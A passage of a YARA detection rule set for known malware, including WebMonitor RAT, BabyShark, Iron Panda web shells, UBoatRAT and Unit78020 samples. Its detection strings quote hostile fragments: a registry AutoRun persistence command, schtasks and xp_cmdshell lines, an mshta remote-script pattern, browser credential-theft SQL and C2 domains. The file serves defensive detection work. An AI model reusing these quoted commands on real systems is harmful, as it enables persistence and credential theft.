            85 DB 75 09 85 F6 74 05 89 1E B0 01 C3 85 FF 74
            4F F6 C3 01 75 4A 85 F6 74 46 8B C3 D1 E8 33 C9
            40 BA 02 00 00 00 F7 E2 0F 90 C1 F7 D9 0B C8 51
            E8 12 28 00 00 89 06 8B C8 83 C4 04 33 C0 85 DB
            74 16 8B D0 83 E2 0F 8A 92 1C 33 02 10 32 14 38
            40 88 11 41 3B C3 72 EA 66 C7 01 00 00 B0 01 C3
            32 C0 C3
        }
		$init_strings = {
            55 8B EC 83 EC 10 33 C9 B8 0D 00 00 00 BA 02 00
            00 00 F7 E2 0F 90 C1 53 56 57 F7 D9 0B C8 51 E8
            B3 27 00 00 BF 05 00 00 00 8D 77 FE BB 4A 35 02
            10 2B DE 89 5D F4 BA 48 35 02 10 4A BB 4C 35 02
            10 83 C4 04 2B DF A3 C8 FC 03 10 C7 45 FC 00 00
            00 00 8D 4F FC 89 55 F8 89 5D F0 EB 06
        }

	condition:
		2 of them
}

rule MAL_WebMonitor_RAT
{
	meta:
		description = "Detects WebMonitor RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/04/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/"
		date = "2018-04-13"
		hash1 = "27aaad8a7b3fd53d99077a9202e8bed05696c843ed2485bea6eb9e33a1c273ac"
		hash2 = "05111c305028b5d822ecd12de9879560223c42860cc9d448c47886c236648607"
		id = "5378f22e-4bba-50e7-8374-5135e980e06b"

	strings:
		$x1 = "send_keylog_stream_start" fullword wide
		$x2 = "KEYLOG_STREAM_STOP" fullword wide
		$s1 = "SHELL_EXEC" fullword wide
		$s2 = "send_shell_exec" fullword wide
		$s3 = "send_connections_get" fullword wide
		$a1 = "Select * from Win32_PerfRawData_PerfProc_Process where IDProcess = '" fullword wide
		$a2 = "Select * from Win32_Process WHERE handle =" fullword wide
		$a3 = "Select * from Win32_Process where ProcessId=" fullword wide
		$a4 = "Select * from Win32_ComputerSystem" fullword wide
		$a5 = "The service is in the process of being continued" fullword wide
		$a6 = "tcpdump" fullword wide
		$a7 = "memdump" fullword wide
		$a8 = "<val1>Processor</val1>" fullword wide
		$a9 = "Win32 share process" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $x* ) or ( 2 of ( $s* ) and 2 of ( $a* ) ) or 7 of them )
}

import "pe"

rule MAL_PE_Type_BabyShark_Loader
{
	meta:
		description = "Detects PE Type babyShark loader mentioned in February 2019 blog post by PaloAltNetworks"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/"
		date = "2019-02-24"
		hash1 = "6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c"
		id = "141e7a67-7930-5fd8-ac91-5d31b99e4ff3"

	strings:
		$x1 = "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Command Processor\" /v AutoRun /t REG_SZ /d \"%s\" /f" fullword ascii
		$x2 = /mshta\.exe http:\/\/[a-z0-9\.\/]{5,30}\.hta/
		$xc1 = { 57 69 6E 45 78 65 63 00 6B 65 72 6E 65 6C 33 32
               2E 44 4C 4C 00 00 00 00 }

	condition:
		uint16( 0 ) == 0x5a4d and ( pe.imphash ( ) == "57b6d88707d9cd1c87169076c24f962e" or 1 of them or for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "thawte SHA256 Code Signing CA" and pe.signatures [ i ] . serial == "0f:ff:e4:32:a5:3f:f0:3b:92:23:f8:8b:e1:b8:3d:9d" ) )
}

rule APT_NK_BabyShark_KimJoingRAT_Apr19_1
{
	meta:
		description = "Detects BabyShark KimJongRAT"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/"
		date = "2019-04-27"
		hash1 = "d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712"
		id = "c6bd1e1a-68f2-5a2d-a159-b16ea0d33987"

	strings:
		$x1 = "%s\\Microsoft\\ttmp.log" fullword wide
		$a1 = "logins.json" fullword ascii
		$s1 = "https://www.google.com/accounts/servicelogin" fullword ascii
		$s2 = "https://login.yahoo.com/config/login" fullword ascii
		$s3 = "SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_login" ascii
		$s4 = "\\mozsqlite3.dll" ascii
		$s5 = "SMTP Password" fullword ascii
		$s6 = "Yandex\\YandexBrowser\\User Data\\Default\\Login Data" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 1 of ( $x* ) or ( $a1 and 3 of ( $s* ) ) )
}

rule HKTL_BruteRatel_Badger_Indicators_Oct22_4
{
	meta:
		description = "Detects Brute Ratel C4 badger indicators"
		author = "Matthew @embee_research, Florian Roth"
		reference = "https://twitter.com/embee_research/status/1580030310778953728"
		date = "2022-10-12"
		score = 75
		id = "a62d08ae-0fb3-55e9-b6f8-7940f8032e4a"

	strings:
		$s1 = { b? 89 4d 39 8c }
		$s2 = { b? bd ca 3b d3 }
		$s3 = { b? b2 c1 06 ae }
		$s4 = { b? 74 eb 1d 4d }

	condition:
		filesize < 8000KB and all of ( $s* ) and not uint8( 0 ) == 0x02
}

rule HKTL_Nim_NimPackt : EXE FILE HKTL
{
	meta:
		description = "Detects binaries generated with NimPackt v1"
		author = "Cas van Cooten"
		reference = "https://github.com/chvancooten/NimPackt-v1"
		date = "2022-01-26"
		score = 80
		id = "3399d937-133f-5701-840e-eaf68b2f1ec9"

	strings:
		$nim1 = "fatal.nim" ascii fullword
		$nim2 = "winim" ascii
		$np1 = { 4E 69 6D 50 61 63 6B 74 }
		$sus1 = { 61 6D 73 69 00 00 00 00 B8 57 00 07 80 C3 }
		$sus2 = { 5B 2B 5D 20 49 6E 6A 65 63 74 65 64 }
		$sus3 = { 5C 2D 2D 20 62 79 74 65 73 20 77 72 69 74 74 65 6E 3A }

	condition:
		uint16( 0 ) == 0x5A4D and filesize < 750KB and 1 of ( $nim* ) and ( $np1 or 2 of ( $sus* ) )
}

rule gen_excel_xor_obfuscation_velvetsweatshop
{
	meta:
		description = "Detects XOR encryption (c. 2003) in Excel file formats"
		license = "https://creativecommons.org/licenses/by-nc/4.0/"
		author = "@BouncyHat"
		contributed_by = "@JohnLaTwc"
		date = "2020-10-09"
		reference = "https://twitter.com/JohnLaTwC/status/1314602421977452544"
		reference0 = "https://twitter.com/BouncyHat/status/1308896366782042113"
		hash1 = "da1999c23ee2dae02a169fd2208b9766cb8f046a895f5f52bed45615eea94da0"
		hash2 = "14a32b8a504db3775e793be59d7bd5b584ea732c3ca060b2398137efbfd18d5a"
		hash3 = "dd3e89e7bde993f6f1b280f2bf933a5cc2797f4e8736aed4010aaf46e9854f23"
		hash4 = "4e40253b382b20e273edf82362f1c89e916f7ab8d3c518818a76cb6127d4e7c2"
		id = "8a16105c-4f43-5a35-941c-6ee9593b039c"

	strings:
		$olemarker = { D0 CF 11 E0 A1 B1 1A E1 00 00 00 }
		$FilePass_XOR_Obfuscation_VelvetSweatshop = { 2F 00 06 00 00 00 59 B3 0A 9A }

	condition:
		uint32( 0 ) == 0xe011cfd0 and filesize < 400KB and $olemarker at 0 and $FilePass_XOR_Obfuscation_VelvetSweatshop
}

rule IronPanda_DNSTunClient
{
	meta:
		description = "Iron Panda malware DnsTunClient - file named.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/E4qia9"
		date = "2015-09-16"
		score = 80
		hash = "a08db49e198068709b7e52f16d00a10d72b4d26562c0d82b4544f8b0fb259431"
		id = "dd608176-d7e7-5819-a7d4-e8b89d4a59c2"

	strings:
		$s1 = "dnstunclient -d or -domain <domain>" fullword ascii
		$s2 = "dnstunclient -ip <server ip address>" fullword ascii
		$s3 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"\\Microsoft\\Windows\\PLA\\System\\Microsoft Windows\" /tr " fullword ascii
		$s4 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"Microsoft Windows\" /tr " fullword ascii
		$s5 = "taskkill /im conime.exe" fullword ascii
		$s6 = "\\dns control\\t-DNSTunnel\\DnsTunClient\\DnsTunClient.cpp" ascii
		$s7 = "UDP error:can not bing the port(if there is unclosed the bind process?)" fullword ascii
		$s8 = "use error domain,set domain pls use -d or -domain mark(Current: %s,recv %s)" fullword ascii
		$s9 = "error: packet num error.the connection have condurt,pls try later" fullword ascii
		$s10 = "Coversation produce one error:%s,coversation fail" fullword ascii
		$s11 = "try to add many same pipe to select group(or mark is too easy)." fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and 2 of them ) or 5 of them
}

rule IronPanda_Malware1
{
	meta:
		description = "Iron Panda Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/E4qia9"
		date = "2015-09-16"
		hash = "a0cee5822ddf254c254a5a0b7372c9d2b46b088a254a1208cb32f5fe7eca848a"
		id = "14dc2611-4ca9-5dd2-ad00-9397a18d7be2"

	strings:
		$x1 = "activedsimp.dll" fullword wide
		$s1 = "get_BadLoginAddress" fullword ascii
		$s2 = "get_LastFailedLogin" fullword ascii
		$s3 = "ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED" fullword ascii
		$s4 = "get_PasswordExpirationDate" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule IronPanda_Webshell_JSP
{
	meta:
		description = "Iron Panda Malware JSP"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/E4qia9"
		date = "2015-09-16"
		hash = "3be95477e1d9f3877b4355cff3fbcdd3589bb7f6349fd4ba6451e1e9d32b7fa6"
		id = "38125418-7867-5073-a731-4f1d64e07588"

	strings:
		$s1 = "Bin_ExecSql(\"exec master..xp_cmdshell'bcp \\\"select safile from \" + db + \"..bin_temp\\\" queryout \\\"\" + Bin_TextBox_SaveP" ascii
		$s2 = "tc.Text=\"<a href=\\\"javascript:Bin_PostBack('zcg_ClosePM','\"+Bin_ToBase64(de.Key.ToString())+\"')\\\">Close</a>\";" fullword ascii
		$s3 = "Bin_ExecSql(\"IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp\");" fullword ascii

	condition:
		filesize < 330KB and 1 of them
}

rule IronPanda_Malware_Htran
{
	meta:
		description = "Iron Panda Malware Htran"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/E4qia9"
		date = "2015-09-16"
		hash = "7903f94730a8508e9b272b3b56899b49736740cea5037ea7dbb4e690bcaf00e7"
		id = "7215f0da-9367-59b4-a78b-aeeebc4f2b69"

	strings:
		$s1 = "[-] Gethostbyname(%s) error:%s" fullword ascii
		$s2 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
		$s3 = "-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
		$s4 = "[-] ERROR: Must supply logfile name." fullword ascii
		$s5 = "[SERVER]connection to %s:%d error" fullword ascii
		$s6 = "[+] Make a Connection to %s:%d...." fullword ascii
		$s7 = "[+] Waiting another Client on port:%d...." fullword ascii
		$s8 = "[+] Accept a Client on port %d from %s" fullword ascii
		$s9 = "[+] Make a Connection to %s:%d ......" fullword ascii
		$s10 = "cmshared_get_ptr_from_atom" fullword ascii
		$s11 = "_cmshared_get_ptr_from_atom" ascii
		$s12 = "[+] OK! I Closed The Two Socket." fullword ascii
		$s13 = "[-] TransmitPort invalid." fullword ascii
		$s14 = "[+] Waiting for Client on port:%d ......" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 125KB and 3 of them ) or 5 of them
}

rule IronPanda_Malware2
{
	meta:
		description = "Iron Panda Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/E4qia9"
		date = "2015-09-16"
		hash = "a89c21dd608c51c4bf0323d640f816e464578510389f9edcf04cd34090decc91"
		id = "63916f73-808d-5dc7-86f3-05c8b9c5650d"

	strings:
		$s0 = "\\setup.exe" ascii
		$s1 = "msi.dll.urlUT" fullword ascii
		$s2 = "msi.dllUT" fullword ascii
		$s3 = "setup.exeUT" fullword ascii
		$s4 = "/c del /q %s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 180KB and all of them
}

rule IronPanda_Malware3
{
	meta:
		description = "Iron Panda Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/E4qia9"
		date = "2015-09-16"
		hash = "5cd2af844e718570ae7ba9773a9075738c0b3b75c65909437c43201ce596a742"
		id = "bc3094ab-9dc8-5b9d-aa13-28daa7d5c13f"

	strings:
		$s0 = "PluginDeflater.exe" fullword wide
		$s1 = ".Deflated" fullword wide
		$s2 = "PluginDeflater" fullword ascii
		$s3 = "DeflateStream" fullword ascii
		$s4 = "CompressionMode" fullword ascii
		$s5 = "System.IO.Compression" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10KB and all of them
}

rule IronPanda_Malware4
{
	meta:
		description = "Iron Panda Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/E4qia9"
		date = "2015-09-16"
		hash = "0d6da946026154416f49df2283252d01ecfb0c41c27ef3bc79029483adc2240c"
		id = "0a72c1e1-b442-52d4-af52-b863abe5ba3c"

	strings:
		$s0 = "TestPlugin.dll" fullword wide
		$s1 = "<a href='http://www.baidu.com'>aasd</a>" fullword wide
		$s2 = "Zcg.Test.AspxSpyPlugins" fullword ascii
		$s6 = "TestPlugin" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10KB and all of them
}

rule WindowsShell_s3
{
	meta:
		description = "Detects simple Windows shell - file s3.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/odzhan/shells/"
		date = "2016-03-26"
		hash = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
		id = "064754a7-8639-5dbd-93f3-906662b8e9bc"

	strings:
		$s1 = "cmd                  - execute cmd.exe" fullword ascii
		$s2 = "\\\\.\\pipe\\%08X" fullword ascii
		$s3 = "get <remote> <local> - download file" fullword ascii
		$s4 = "[ simple remote shell for windows v3" fullword ascii
		$s5 = "REMOTE: CreateFile(\"%s\")" fullword ascii
		$s6 = "put <local> <remote> - upload file" fullword ascii
		$s7 = "term                 - terminate remote client" fullword ascii
		$s8 = "[ downloading \"%s\" to \"%s\"" fullword ascii
		$s9 = "-l           Listen for incoming connections" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 150KB and 2 of them ) or ( 5 of them )
}

rule WindosShell_s1
{
	meta:
		description = "Detects simple Windows shell - file s1.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/odzhan/shells/"
		date = "2016-03-26"
		hash = "4a397497cfaf91e05a9b9d6fa6e335243cca3f175d5d81296b96c13c624818bd"
		id = "b4e783a2-4a93-5c72-9b09-4692b383ac00"

	strings:
		$s1 = "[ executing cmd.exe" fullword ascii
		$s2 = "[ simple remote shell for windows v1" fullword ascii
		$s3 = "-p <number>  Port number to use (default is 443)" fullword ascii
		$s4 = "usage: s1 <address> [options]" fullword ascii
		$s5 = "[ waiting for connections on %s" fullword ascii
		$s6 = "-l           Listen for incoming connections" fullword ascii
		$s7 = "[ connection from %s" fullword ascii
		$s8 = "[ %c%c requires parameter" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 150KB and 2 of them ) or ( 5 of them )
}

rule WindowsShell_s4
{
	meta:
		description = "Detects simple Windows shell - file s4.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/odzhan/shells/"
		date = "2016-03-26"
		hash = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
		id = "838771dc-f885-5332-9813-2bc01af8e5fe"

	strings:
		$s1 = "cmd                  - execute cmd.exe" fullword ascii
		$s2 = "\\\\.\\pipe\\%08X" fullword ascii
		$s3 = "get <remote> <local> - download file" fullword ascii
		$s4 = "[ simple remote shell for windows v4" fullword ascii
		$s5 = "REMOTE: CreateFile(\"%s\")" fullword ascii
		$s6 = "[ downloading \"%s\" to \"%s\"" fullword ascii
		$s7 = "[ uploading \"%s\" to \"%s\"" fullword ascii
		$s8 = "-l           Listen for incoming connections" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 175KB and 2 of them ) or ( 5 of them )
}

rule WindowsShell_Gen
{
	meta:
		description = "Detects simple Windows shell - from files keygen.exe, s1.exe, s2.exe, s3.exe, s4.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/odzhan/shells/"
		date = "2016-03-26"
		super_rule = 1
		hash1 = "a7c3d85eabac01e7a7ec914477ea9f17e3020b3b2f8584a46a98eb6a2a7611c5"
		hash2 = "4a397497cfaf91e05a9b9d6fa6e335243cca3f175d5d81296b96c13c624818bd"
		hash3 = "df0693caae2e5914e63e9ee1a14c1e9506f13060faed67db5797c9e61f3907f0"
		hash4 = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
		hash5 = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
		id = "6b871e8a-8fe3-5cc6-9f2c-ba2359861ea1"

	strings:
		$s0 = "[ %c%c requires parameter" fullword ascii
		$s1 = "[ %s : %i" fullword ascii
		$s2 = "[ %s : %s" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 175KB and 2 of them ) or ( all of them )
}

rule WindowsShell_Gen2
{
	meta:
		description = "Detects simple Windows shell - from files s3.exe, s4.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/odzhan/shells/"
		date = "2016-03-26"
		super_rule = 1
		hash1 = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
		hash2 = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
		id = "8ed8443d-491b-5cb0-b12b-0d25267ba462"

	strings:
		$s1 = "cmd                  - execute cmd.exe" fullword ascii
		$s2 = "get <remote> <local> - download file" fullword ascii
		$s3 = "REMOTE: CreateFile(\"%s\")" fullword ascii
		$s4 = "put <local> <remote> - upload file" fullword ascii
		$s5 = "term                 - terminate remote client" fullword ascii
		$s6 = "[ uploading \"%s\" to \"%s\"" fullword ascii
		$s7 = "[ error : received %i bytes" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 175KB and 2 of them ) or ( 5 of them )
}

rule ACE_Containing_EXE
{
	meta:
		author = "Florian Roth (Nextron Systems) - based on Nick Hoffman' rule - Morphick Inc"
		description = "Looks for ACE Archives containing an exe/scr file"
		date = "2015-09-09"
		score = 50
		id = "0756f0e7-39f1-572d-a77d-1f7826332360"

	strings:
		$header = { 2a 2a 41 43 45 2a 2a }
		$extensions1 = ".exe"
		$extensions2 = ".EXE"
		$extensions3 = ".scr"
		$extensions4 = ".SCR"

	condition:
		$header at 7 and for any of ( $extensions* ) : ( $ in ( 81 .. ( 81 + uint16( 79 ) ) ) )
}

rule UBoatRAT
{
	meta:
		description = "Detects UBoat RAT Samples"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"
		date = "2017-11-29"
		hash1 = "04873dbd63279228a0a4bb1184933b64adb880e874bd3d14078161d06e232c9b"
		hash2 = "7b32f401e2ad577e8398b2975ecb5c5ce68c5b07717b1e0d762f90a6fbd8add1"
		hash3 = "42d8a84cd49ff3afacf3d549fbab1fa80d5eda0c8625938b6d32e18004b0edac"
		hash4 = "6bea49e4260f083ed6b73e100550ecd22300806071f4a6326e0544272a84526c"
		hash5 = "cf832f32b8d27cf9911031910621c21bd3c20e71cc062716923304dacf4dadb7"
		hash6 = "bf7c6e911f14a1f8679c9b0c2b183d74d5accd559e17297adcd173d76755e271"
		id = "f7f745c2-648d-5937-8d06-f5d1b6ed7e11"

	strings:
		$s1 = "URLDownloadToFileA" ascii
		$s2 = "GetModuleFileNameW" ascii
		$s4 = "WININET.dll" ascii
		$s5 = "urlmon.dll" ascii
		$s6 = "WTSAPI32.dll" ascii
		$s7 = "IPHLPAPI.DLL" ascii
		$op1 = { 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
               69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F
               74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20
               6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 }
		$vprotect = { 2E 76 6D 70 30 }

	condition:
		uint16( 0 ) == 0x5a4d and uint32( uint32( 0x3c ) ) == 0x4550 and filesize < 1400KB and filesize > 800KB and ( all of ( $s* ) and $op1 at 64 and uint16( uint32( 0x3c ) + 11 ) == 0x59 and $vprotect in ( 600 .. 700 ) )
}

rule UBoatRAT_Dropper
{
	meta:
		description = "Detects UBoatRAT Dropper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"
		date = "2017-11-29"
		hash1 = "f4c659238ffab95e87894d2c556f887774dce2431e8cb87f881df4e4d26253a3"
		id = "f3d4e333-1282-5f6e-9294-628a8230d2a5"

	strings:
		$s1 = "GetCurrenvackageId" fullword ascii
		$s2 = "fghijklmnopq" fullword ascii
		$s3 = "23456789:;<=>?@ABCDEFGHIJKLMNOPQ" fullword ascii
		$s4 = "PMM/dd/y" fullword ascii
		$s5 = "bad all" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule SUSP_Two_Byte_XOR_PE_And_MZ
{
	meta:
		author = "Wesley Shields <wxs@atarininja.org>"
		description = "Look for 2 byte xor of a PE starting at offset 0"
		reference = "https://gist.github.com/wxsBSD/bf7b88b27e9f879016b5ce2c778d3e83"
		score = 70
		date = "2021-10-11"
		id = "ddb87194-bafb-597d-9184-fe4fe3c5ce8d"

	condition:
		uint16( 0 ) != 0x5a4d and uint32( ( uint16( 0x3c ) ^ ( uint16( 0 ) ^ 0x5a4d ) ) | ( ( uint16( 0x3e ) ^ ( uint16( 0 ) ^ 0x5a4d ) ) << 16 ) ) ^ ( ( uint16( 0 ) ^ 0x5a4d ) | ( ( uint16( 0 ) ^ 0x5a4d ) << 16 ) ) == 0x00004550
}

rule SUSP_Four_Byte_XOR_PE_And_MZ
{
	meta:
		author = "Wesley Shields <wxs@atarininja.org>"
		description = "Look for 4 byte xor of a PE starting at offset 0"
		reference = "https://gist.github.com/wxsBSD/bf7b88b27e9f879016b5ce2c778d3e83"
		score = 70
		date = "2021-10-11"
		id = "d7b4b462-dfde-5d1f-8039-63522436c15f"

	condition:
		uint16( 0 ) != 0x5a4d and uint32( 0x28 ) != 0x00000000 and uint32( 0x28 ) == uint32( 0x2c ) and uint32( uint32( 0x3c ) ^ uint32( 0x28 ) ) ^ uint32( 0x28 ) == 0x00004550
}

rule APT_MAL_CN_Unit78020_Sep15
{
	meta:
		description = "Detects malware used by Unit78020"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
		date = "2015-09-24"
		modified = "2023-01-31"
		score = 80
		old_rule_name = "Unit78020_Malware_Gen1"
		hash1 = "2b15e614fb54bca7031f64ab6caa1f77b4c07dac186826a6cd2e254090675d72"
		hash2 = "76c586e89c30a97e583c40ebe3f4ba75d5e02e52959184c4ce0a46b3aac54edd"
		hash3 = "7b73bf2d80a03eb477242967628da79924fbe06cc67c4dcdd2bdefccd6e0e1af"
		hash4 = "2625a0d91d3cdbbc7c4a450c91e028e3609ff96c4f2a5a310ae20f73e1bc32ac"
		hash5 = "5c62b1d16e6180f22a0cb59c99a7743f44cb4a41e4e090b9733d1fb687c8efa2"
		hash6 = "88c5be84afe20c91e4024160303bafb044f98aa5fbf8c9f9997758a014238790"
		id = "d26d401f-3806-5a0b-bdb3-87d5d8af209c"

	strings:
		$x1 = "greensky27.vicp.net" fullword wide
		$x2 = "POST http://%s:%d/aspxabcdefg.asp?%s HTTP/1.1" fullword ascii
		$x3 = "GET http://%s:%d/aspxabcdef.asp?%s HTTP/1.1" fullword ascii
		$x4 = "serch.vicp.net" fullword wide
		$x5 = "greensky27.vicp.net" fullword wide
		$x6 = "greensky27.vicp.net.as" fullword wide
		$x7 = "greensky27.vcip.net" fullword wide
		$x8 = "pnoc-ec.vicp.net" fullword wide
		$x9 = "aseanph.vicp.net" fullword wide
		$x10 = "pnoc.vicp.net" fullword wide
		$sa1 = "dMozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.0; .NET CLR 1.1.4322)" wide fullword
		$sa2 = "x-www-form-urlencoded/r/n" wide fullword
		$sa3 = "/%d%s%d" ascii fullword
		$sa4 = "dMozilla" wide fullword
		$sa5 = "Accept-Language:En-us" wide fullword
		$sb1 = "%USERPROFILE%\\Application Data\\Mozilla\\Firefox\\Profiles" wide fullword
		$sb2 = "\\Office Start.lnk" wide fullword
		$sb3 = "%02d-%02d-%02d %02d:%02d" wide fullword
		$sc1 = "\\MSN Talk Start.lnk" wide fullword
		$sc2 = "-GetModuleFileNameExW" ascii fullword
		$sc3 = "dwError1 = %d" ascii fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 1 of ( $x* ) or all of ( $sa* ) or all of ( $sb* ) or all of ( $sc* ) )
}

rule Unit78020_Malware_1
{
	meta:
		description = "Detects malware by Chinese APT PLA Unit 78020 - Specific Rule - msictl.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
		date = "2015-09-24"
		hash = "a93d01f1cc2d18ced2f3b2b78319aadc112f611ab8911ae9e55e13557c1c791a"
		id = "0374de68-98cb-5cb8-a936-fe7845de9330"

	strings:
		$s1 = "%ProgramFiles%\\Internet Explorer\\iexplore.exe" fullword ascii
		$s2 = "msictl.exe" fullword ascii
		$s3 = "127.0.0.1:8080" fullword ascii
		$s4 = "mshtml.dat" fullword ascii
		$s5 = "msisvc" fullword ascii
		$s6 = "NOKIAN95/WEB" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 160KB and 4 of them
}

rule Unit78020_Malware_Gen2
{
	meta:
		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
		date = "2015-09-24"
		super_rule = 1
		hash1 = "76c586e89c30a97e583c40ebe3f4ba75d5e02e52959184c4ce0a46b3aac54edd"
		hash2 = "7b73bf2d80a03eb477242967628da79924fbe06cc67c4dcdd2bdefccd6e0e1af"
		hash3 = "981e2fa1ae4145359036b46e8b53cc5da37dd2311204859761bd91572f025e8a"
		id = "9492b1f8-c2a9-5e3b-ad62-fbc3d99392b3"

	strings:
		$s0 = "-GetModuleFileNameExW" fullword ascii
		$s1 = "\\MSN Talk Start.lnk" wide
		$s2 = ":SeDebugPrivilege" fullword wide
		$s3 = "WinMM Version 1.0" fullword wide
		$s4 = "dwError1 = %d" fullword ascii
		$s5 = "*Can't Get" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

rule Unit78020_Malware_Gen3
{
	meta:
		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule - Chong"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
		date = "2015-09-24"
		super_rule = 1
		hash1 = "2625a0d91d3cdbbc7c4a450c91e028e3609ff96c4f2a5a310ae20f73e1bc32ac"
		hash2 = "5c62b1d16e6180f22a0cb59c99a7743f44cb4a41e4e090b9733d1fb687c8efa2"
		id = "e26f386e-e98c-5005-9343-1873d2e35a1f"

	strings:
		$x1 = "GET http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
